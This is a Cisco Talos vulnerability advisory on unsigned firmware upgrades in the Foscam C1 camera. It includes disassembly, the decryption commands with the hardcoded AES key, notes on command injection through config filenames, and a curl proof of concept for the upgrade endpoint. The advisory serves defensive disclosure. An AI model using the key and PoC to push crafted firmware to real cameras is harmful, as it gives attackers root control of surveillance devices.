Talos Vulnerability Report

TALOS-2017-0379

Foscam IP Video Camera CGIProxy.fcgi Firmware Upgrade Code Execution Vulnerability

November 13, 2017
CVE Number

CVE-2017-2872

Summary

Insufficient security checks exist in the recovery procedure used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A HTTP request can allow for a user to perform a firmware upgrade using a crafted image. Before any firmware upgrades in this image are flashed to the device, binaries as well as arguments to shell commands contained in the image are executed with elevated privileges.

Tested Versions

Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-287: Improper Authentication

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device provides a way to upgrade the firmware by sending a new image via an HTTP multipart request. HTTP requests are first handled by the "CGIProxy.fcgi" process, that will dispatch messages to the interested component. When handling the command "fwUpgrade", the function sub_3C0B0 in the "webService" binary will be called. A user account with privilege level 2 (administrator) is needed to invoke this command. sub_3C0B0 is responsible for shutting down all the components that might interfere with the upgrade process. After that, the multipart data is read and its contents are stored in the file "/tmp/upgrade.bin".

Execution is then handed over to the function OnFwUpgradeMsgUpgrade, inside the binary "FirmwareUpgrade". At [1] the function that performs the actual upgrade is called.

```
.text:0001887C             OnFwUpgradeMsgUpgrade
.text:0001887C
.text:0001887C
.text:0001887C 30 40 2D E9           STMFD   SP!, {R4,R5,LR}
.text:00018880 45 30 A0 E3           MOV     R3, #0x45
.text:00018884 1C D0 4D E2           SUB     SP, SP, #0x1C
.text:00018888 00 30 8D E5           STR     R3, [SP,#0x28+var_28]
.text:0001888C 34 31 9F E5           LDR     R3, =aOnfwupgradem_3
.text:00018890 00 40 A0 E1           MOV     R4, R0
.text:00018894 04 30 8D E5           STR     R3, [SP,#0x28+var_24]
.text:00018898 0D 00 A0 E3           MOV     R0, #0xD
.text:0001889C 03 10 A0 E3           MOV     R1, #3
.text:000188A0 24 21 9F E5           LDR     R2, =(aHeadSSHttp1_1A+0x42)
.text:000188A4 24 31 9F E5           LDR     R3, =aFirmwareupgr_0
.text:000188A8 1D DB FF EB           BL      _Z8wirteLogiiPKcS0_iS0_z
.text:000188AC 10 30 D4 E5           LDRB    R3, [R4,#0x10]
.text:000188B0 11 20 D4 E5           LDRB    R2, [R4,#0x11]
.text:000188B4 18 01 9F E5           LDR     R0, =unk_2C868
.text:000188B8 02 24 83 E1           ORR     R2, R3, R2,LSL#8
.text:000188BC 12 30 D4 E5           LDRB    R3, [R4,#0x12]
.text:000188C0 28 10 84 E2           ADD     R1, R4, #0x28
.text:000188C4 03 28 82 E1           ORR     R2, R2, R3,LSL#16
.text:000188C8 13 30 D4 E5           LDRB    R3, [R4,#0x13]
.text:000188CC 03 2C 82 E1           ORR     R2, R2, R3,LSL#24
.text:000188D0 00 31 9F E5           LDR     R3, =dword_277A4
.text:000188D4 00 20 83 E5           STR     R2, [R3]
.text:000188D8 A1 F5 FF EB           BL      sub_15F64                  ; [1]
.text:000188DC 00 50 50 E2           SUBS    R5, R0, #0
.text:000188E0 0D 00 00 1A           BNE     loc_1891C
```

sub_15F64 kills most of the running processes on the device, unloads unused modules, and cleans temporary directories. After that, the directory "/tmp/FWUpgrade" is created at [2] and two strings are de-obfuscated at [3] by using the "ReformString" function. Those strings are then used to compose a command which will be sent to system [4].

```
.text:000164F0 70 19 9F E5           LDR     R1, =0x1B6                 ; mode
.text:000164F4 70 09 9F E5           LDR     R0, =aTmpFwupgrade         ; "/tmp/FWUpgrade"
.text:000164F8 3D E3 FF EB           BL      mkdir                      ; [2]
.text:000164FC 0F 30 A0 E3           MOV     R3, #0xF
.text:00016500 00 30 8D E5           STR     R3, [SP,#0x348+var_348]
.text:00016504 0B 30 A0 E3           MOV     R3, #0xB
.text:00016508 14 30 8D E5           STR     R3, [SP,#0x348+var_334]
.text:0001650C 03 30 A0 E3           MOV     R3, #3
.text:00016510 30 30 8D E5           STR     R3, [SP,#0x348+var_318]
.text:00016514 D4 30 9D E5           LDR     R3, [SP,#0x348+c]
.text:00016518 3C 30 8D E5           STR     R3, [SP,#0x348+var_30C]
.text:0001651C 35 30 A0 E3           MOV     R3, #0x35
.text:00016520 4C 30 8D E5           STR     R3, [SP,#0x348+var_2FC]
.text:00016524 01 30 83 E2           ADD     R3, R3, #1
.text:00016528 50 30 8D E5           STR     R3, [SP,#0x348+var_2F8]
.text:0001652C 06 30 83 E2           ADD     R3, R3, #6
.text:00016530 54 30 8D E5           STR     R3, [SP,#0x348+var_2F4]
.text:00016534 01 30 A0 E3           MOV     R3, #1
.text:00016538 60 30 8D E5           STR     R3, [SP,#0x348+var_2E8]
.text:0001653C 09 30 83 E2           ADD     R3, R3, #9
.text:00016540 5D 50 A0 E3           MOV     R5, #0x5D
.text:00016544 4D 70 A0 E3           MOV     R7, #0x4D
.text:00016548 12 80 A0 E3           MOV     R8, #0x12
.text:0001654C 04 B0 A0 E3           MOV     R11, #4
.text:00016550 02 90 A0 E3           MOV     R9, #2
.text:00016554 0D A0 A0 E3           MOV     R10, #0xD
.text:00016558 30 C0 A0 E3           MOV     R12, #0x30
.text:0001655C 70 30 8D E5           STR     R3, [SP,#0x348+var_2D8]
.text:00016560 0F 30 83 E2           ADD     R3, R3, #0xF
.text:00016564 78 C0 8D E5           STR     R12, [SP,#0x348+var_2D0]
.text:00016568 7C C0 8D E5           STR     R12, [SP,#0x348+var_2CC]
.text:0001656C 18 50 8D E5           STR     R5, [SP,#0x348+var_330]
.text:00016570 28 50 8D E5           STR     R5, [SP,#0x348+var_320]
.text:00016574 34 50 8D E5           STR     R5, [SP,#0x348+var_314]
.text:00016578 68 50 8D E5           STR     R5, [SP,#0x348+var_2E0]
.text:0001657C 74 50 8D E5           STR     R5, [SP,#0x348+var_2D4]
.text:00016580 04 B0 8D E5           STR     R11, [SP,#0x348+var_344]
.text:00016584 08 A0 8D E5           STR     R10, [SP,#0x348+var_340]
.text:00016588 0C 80 8D E5           STR     R8, [SP,#0x348+var_33C]
.text:0001658C 10 80 8D E5           STR     R8, [SP,#0x348+var_338]
.text:00016590 1C B0 8D E5           STR     R11, [SP,#0x348+var_32C]
.text:00016594 20 A0 8D E5           STR     R10, [SP,#0x348+var_328]
.text:00016598 24 90 8D E5           STR     R9, [SP,#0x348+var_324]
.text:0001659C 2C 70 8D E5           STR     R7, [SP,#0x348+var_31C]
.text:000165A0 38 70 8D E5           STR     R7, [SP,#0x348+var_310]
.text:000165A4 40 B0 8D E5           STR     R11, [SP,#0x348+var_308]
.text:000165A8 44 80 8D E5           STR     R8, [SP,#0x348+var_304]
.text:000165AC 48 70 8D E5           STR     R7, [SP,#0x348+var_300]
.text:000165B0 58 70 8D E5           STR     R7, [SP,#0x348+var_2F0]
.text:000165B4 5C 90 8D E5           STR     R9, [SP,#0x348+var_2EC]
.text:000165B8 64 90 8D E5           STR     R9, [SP,#0x348+var_2E4]
.text:000165BC 6C 70 8D E5           STR     R7, [SP,#0x348+var_2DC]
.text:000165C0 80 30 8D E5           STR     R3, [SP,#0x348+var_2C8]
.text:000165C4 08 30 A0 E3           MOV     R3, #8
.text:000165C8 84 30 8D E5           STR     R3, [SP,#0x348+var_2C4]
.text:000165CC 05 30 A0 E3           MOV     R3, #5
.text:000165D0 88 30 8D E5           STR     R3, [SP,#0x348+var_2C0]
.text:000165D4 0E 30 83 E2           ADD     R3, R3, #0xE
.text:000165D8 8C 30 8D E5           STR     R3, [SP,#0x348+var_2BC]
.text:000165DC 33 30 83 E2           ADD     R3, R3, #0x33
.text:000165E0 90 30 8D E5           STR     R3, [SP,#0x348+var_2B8]
.text:000165E4 15 30 A0 E3           MOV     R3, #0x15
.text:000165E8 94 30 8D E5           STR     R3, [SP,#0x348+var_2B4]
.text:000165EC 21 30 83 E2           ADD     R3, R3, #0x21
.text:000165F0 98 30 8D E5           STR     R3, [SP,#0x348+var_2B0]
.text:000165F4 08 30 A0 E3           MOV     R3, #8
.text:000165F8 A4 30 8D E5           STR     R3, [SP,#0x348+var_2A4]
.text:000165FC 57 20 A0 E3           MOV     R2, #0x57
.text:00016600 3B 30 83 E2           ADD     R3, R3, #0x3B
.text:00016604 B0 30 8D E5           STR     R3, [SP,#0x348+var_298]
.text:00016608 BC 20 8D E5           STR     R2, [SP,#0x348+var_28C]
.text:0001660C C4 30 8D E5           STR     R3, [SP,#0x348+var_284]
.text:00016610 58 18 9F E5           LDR     R1, =aAbcdefghijklmn       ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"...
.text:00016614 34 20 A0 E3           MOV     R2, #0x34
.text:00016618 0E 30 A0 E3           MOV     R3, #0xE
.text:0001661C DC 00 8D E2           ADD     R0, SP, #0x348+var_26C
.text:00016620 9C 50 8D E5           STR     R5, [SP,#0x348+var_2AC]
.text:00016624 AC 50 8D E5           STR     R5, [SP,#0x348+var_29C]
.text:00016628 B8 50 8D E5           STR     R5, [SP,#0x348+var_290]
.text:0001662C C0 50 8D E5           STR     R5, [SP,#0x348+var_288]
.text:00016630 D0 C0 8D E5           STR     R12, [SP,#0x348+var_278]
.text:00016634 A0 70 8D E5           STR     R7, [SP,#0x348+var_2A8]
.text:00016638 A8 A0 8D E5           STR     R10, [SP,#0x348+var_2A0]
.text:0001663C B4 80 8D E5           STR     R8, [SP,#0x348+var_294]
.text:00016640 C8 80 8D E5           STR     R8, [SP,#0x348+var_280]
.text:00016644 5C E3 FF EB           BL      ReformString               ; [3]
.text:00016648 0F 30 A0 E3           MOV     R3, #0xF
.text:0001664C 00 30 8D E5           STR     R3, [SP,#0x348+var_348]
.text:00016650 0B 30 A0 E3           MOV     R3, #0xB
.text:00016654 14 30 8D E5           STR     R3, [SP,#0x348+var_334]
.text:00016658 03 30 A0 E3           MOV     R3, #3
.text:0001665C 30 30 8D E5           STR     R3, [SP,#0x348+var_318]
.text:00016660 D4 30 9D E5           LDR     R3, [SP,#0x348+c]
.text:00016664 3C 30 8D E5           STR     R3, [SP,#0x348+var_30C]
.text:00016668 35 30 A0 E3           MOV     R3, #0x35
.text:0001666C 4C 30 8D E5           STR     R3, [SP,#0x348+var_2FC]
.text:00016670 01 30 83 E2           ADD     R3, R3, #1
.text:00016674 50 30 8D E5           STR     R3, [SP,#0x348+var_2F8]
.text:00016678 06 30 83 E2           ADD     R3, R3, #6
.text:0001667C 54 30 8D E5           STR     R3, [SP,#0x348+var_2F4]
.text:00016680 01 30 A0 E3           MOV     R3, #1
.text:00016684 60 30 8D E5           STR     R3, [SP,#0x348+var_2E8]
.text:00016688 09 30 83 E2           ADD     R3, R3, #9
.text:0001668C D0 C0 9D E5           LDR     R12, [SP,#0x348+var_278]
.text:00016690 70 30 8D E5           STR     R3, [SP,#0x348+var_2D8]
.text:00016694 0F 30 83 E2           ADD     R3, R3, #0xF
.text:00016698 78 C0 8D E5           STR     R12, [SP,#0x348+var_2D0]
.text:0001669C 18 50 8D E5           STR     R5, [SP,#0x348+var_330]
.text:000166A0 28 50 8D E5           STR     R5, [SP,#0x348+var_320]
.text:000166A4 34 50 8D E5           STR     R5, [SP,#0x348+var_314]
.text:000166A8 68 50 8D E5           STR     R5, [SP,#0x348+var_2E0]
.text:000166AC 74 50 8D E5           STR     R5, [SP,#0x348+var_2D4]
.text:000166B0 04 B0 8D E5           STR     R11, [SP,#0x348+var_344]
.text:000166B4 08 A0 8D E5           STR     R10, [SP,#0x348+var_340]
.text:000166B8 0C 80 8D E5           STR     R8, [SP,#0x348+var_33C]
.text:000166BC 10 80 8D E5           STR     R8, [SP,#0x348+var_338]
.text:000166C0 1C B0 8D E5           STR     R11, [SP,#0x348+var_32C]
.text:000166C4 20 A0 8D E5           STR     R10, [SP,#0x348+var_328]
.text:000166C8 24 90 8D E5           STR     R9, [SP,#0x348+var_324]
.text:000166CC 2C 70 8D E5           STR     R7, [SP,#0x348+var_31C]
.text:000166D0 38 70 8D E5           STR     R7, [SP,#0x348+var_310]
.text:000166D4 40 B0 8D E5           STR     R11, [SP,#0x348+var_308]
.text:000166D8 44 80 8D E5           STR     R8, [SP,#0x348+var_304]
.text:000166DC 48 70 8D E5           STR     R7, [SP,#0x348+var_300]
.text:000166E0 58 70 8D E5           STR     R7, [SP,#0x348+var_2F0]
.text:000166E4 5C 90 8D E5           STR     R9, [SP,#0x348+var_2EC]
.text:000166E8 64 90 8D E5           STR     R9, [SP,#0x348+var_2E4]
.text:000166EC 6C 70 8D E5           STR     R7, [SP,#0x348+var_2DC]
.text:000166F0 7C C0 8D E5           STR     R12, [SP,#0x348+var_2CC]
.text:000166F4 80 30 8D E5           STR     R3, [SP,#0x348+var_2C8]
.text:000166F8 08 30 A0 E3           MOV     R3, #8
.text:000166FC 84 30 8D E5           STR     R3, [SP,#0x348+var_2C4]
.text:00016700 05 30 A0 E3           MOV     R3, #5
.text:00016704 88 30 8D E5           STR     R3, [SP,#0x348+var_2C0]
.text:00016708 0E 30 83 E2           ADD     R3, R3, #0xE
.text:0001670C 8C 30 8D E5           STR     R3, [SP,#0x348+var_2BC]
.text:00016710 33 30 83 E2           ADD     R3, R3, #0x33
.text:00016714 90 30 8D E5           STR     R3, [SP,#0x348+var_2B8]
.text:00016718 15 30 A0 E3           MOV     R3, #0x15
.text:0001671C 94 30 8D E5           STR     R3, [SP,#0x348+var_2B4]
.text:00016720 21 30 83 E2           ADD     R3, R3, #0x21
.text:00016724 98 30 8D E5           STR     R3, [SP,#0x348+var_2B0]
.text:00016728 40 17 9F E5           LDR     R1, =aAbcdefghijklmn       ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"...
.text:0001672C 28 20 A0 E3           MOV     R2, #0x28
.text:00016730 0E 30 A0 E3           MOV     R3, #0xE
.text:00016734 DC 00 8D E2           ADD     R0, SP, #0x348+var_26C
.text:00016738 1F E3 FF EB           BL      ReformString               ; [3]
.text:0001673C DC 30 8D E2           ADD     R3, SP, #0x348+var_26C
.text:00016740 2C 17 9F E5           LDR     R1, =aDdIfSSTarZxfCT       ; "dd if=%s | %s | tar zxf - -C /tmp/FWUpg"...
.text:00016744 04 20 A0 E1           MOV     R2, R4
.text:00016748 77 0F 8D E2           ADD     R0, SP, #0x348+dest
.text:0001674C AA E3 FF EB           BL      sprintf
.text:00016750 77 0F 8D E2           ADD     R0, SP, #0x348+dest
.text:00016754 5E E2 FF EB           BL      system                     ; [4]
```

The function performs this kind of de-obfuscation several times and it's enough to look at the shell commands executed to understand the functionality. The upgrade image is sent to "openssl" for decryption, using the "aes-128-cbc" cipher and key "WWzift*v2". The resulting file is a gzipped tar archive which contains all the unencrypted files needed for the upgrade.

```
dd if=/tmp/upgrade.bin | openssl enc -d -aes-128-cbc -k WWzift*v2 | tar zxf - -C /tmp/FWUpgrade/ PatchUpgradeConfig.xml
dd if=/tmp/upgrade.bin | openssl enc -d -aes-128-cbc -k WWzift*v2 | tar zxf - -C /tmp/FWUpgrade/ FWUpgradeConfig.xml FWUpgradeConfig.xml.md5      
WriteFlash WriteFlash.md5
cd /tmp/FWUpgrade;md5sum -c /tmp/FWUpgrade/FWUpgradeConfig.xml.md5
cd /tmp/FWUpgrade;md5sum -c /tmp/FWUpgrade/WriteFlash.md5
/tmp/FWUpgrade/WriteFlash 2 /tmp/upgrade.bin mtd.sqfs mtd_ext.sqfs
...
dd if=/tmp/upgrade.bin | openssl enc -d -aes-128-cbc -k WWzift*v2 | tar zxf - -C /tmp/FWUpgrade/ mtd_ext.sqfs mtd_ext.sqfs.md5
cd /tmp/FWUpgrade;md5sum -c /tmp/FWUpgrade/mtd_ext.sqfs.md5
rm /tmp/FWUpgrade/mtd_ext.sqfs.md5
...
dd if=/tmp/FWUpgrade/mtd_ext.sqfs of=/dev/mtdblock2 bs=128k seek=48
...
cp /mnt/mtd/app/bin/flashcp /usr/bin/flashcp
...
dd if=/tmp/upgrade.bin | openssl enc -d -aes-128-cbc -k WWzift*v2 | tar zxf - -C /tmp/FWUpgrade/ mtd.sqfs mtd.sqfs.md5
cd /tmp/FWUpgrade;md5sum -c /tmp/FWUpgrade/mtd.sqfs.md5
rm /tmp/FWUpgrade/mtd.sqfs.md5
rm /tmp/upgrade.bin
flashcp /tmp/FWUpgrade/mtd.sqfs  /dev/mtd2
...
reboot
```

Given that no signatures are applied to the upgrade procedure, anyone aware of the AES encryption key will be able to create a custom image. They will then be able to run custom binaries on the device as root, including WriteFlash which is extracted from the image. The XML file FWUpgradeConfig also contain filenames that are used as parameters to system() without any scrubbing, also resulting in potential command injection. Next to these command injections, attackers can also provide a custom firmware image to replace whatever is currently on the device.

Exploit Proof-of-Concept

This vulnerability is reachable by the "fwUpgrade" command and requires a valid user account with administrator privileges. The following proof of concept shows how to invoke the command.

```
$ sUsr="admin"
$ sPwd=""
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=fwUpgrade&usr=${sUsr}&pwd=${sPwd}&sender=udt" -H "Expect:" -F "[email protected]"
```

Timeline

2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.